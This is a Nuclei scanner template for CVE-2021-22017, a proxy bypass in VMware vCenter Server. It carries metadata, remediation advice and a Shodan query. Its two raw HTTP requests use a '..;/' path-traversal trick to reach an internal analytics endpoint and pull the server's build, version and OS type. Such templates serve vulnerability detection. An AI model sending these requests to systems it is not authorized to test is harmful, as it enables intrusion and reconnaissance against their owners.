id: CVE-2021-22017 info: name: vCenter Server - Improper Access Control author: daffainfo severity: medium description: | Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed. impact: | Attackers can bypass proxy restrictions and access internal endpoints, potentially leading to information disclosure or further internal network compromise. remediation: | Apply the latest security patches or updates provided by VMware for vCenter Server. reference: - https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.md - https://www.vmware.com/security/advisories/VMSA-2021-0020.html - https://nvd.nist.gov/vuln/detail/CVE-2021-22017 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-22017 cwe-id: NVD-CWE-noinfo epss-score: 0.49177 epss-percentile: 0.9876 cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: vmware product: vcenter_server shodan-query: VMware vCenter Server tags: cve,cve2021,vmware,vcenter,vkev,kev flow: http(1) && http(2) variables: plugintype: "{{randbase(8)}}" http: - raw: - | POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1 Host: {{Hostname}} Content-Type: application/json X-Deployment-Secret: secret X-Plugin-Type: {{plugintype}} {"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"} matchers-condition: and matchers: - type: dsl dsl: - 'status_code == 201' - 'len(body) == 0' condition: and internal: true - raw: - | POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1 Host: {{Hostname}} Content-Type: application/json X-Deployment-Secret: secret X-Plugin-Type: {{plugintype}} {"manifestContent": "\n \n \n \n ServiceInstance\n \n \n content.about.instanceUuid\n content.about.osType\n content.about.build\n content.about.version\n \n \n \n \n \n \n \n vir:VCenter\n \n \n \n ServiceInstance\n \n \n \n \n \n \n \n \n \n \n \n \n vir:VCenter\n \n \n \n", "contextData": "a2", "objectId": "a3"} matchers-condition: and matchers: - type: word part: body words: - 'BUILD' - 'VERSION' - 'OSTYPE' condition: and - type: status status: - 200 # digest: 4a0a00473045022043a571d3cbdf0327873b308b4f075d3038faa7899be44fcd4eb28392e9caddb0022100dba3c663d34ba3209301c9087e6b704245adf6fb52ef021450e5060a6c6c23e2:922c64590222798bb761d5b6d8e72950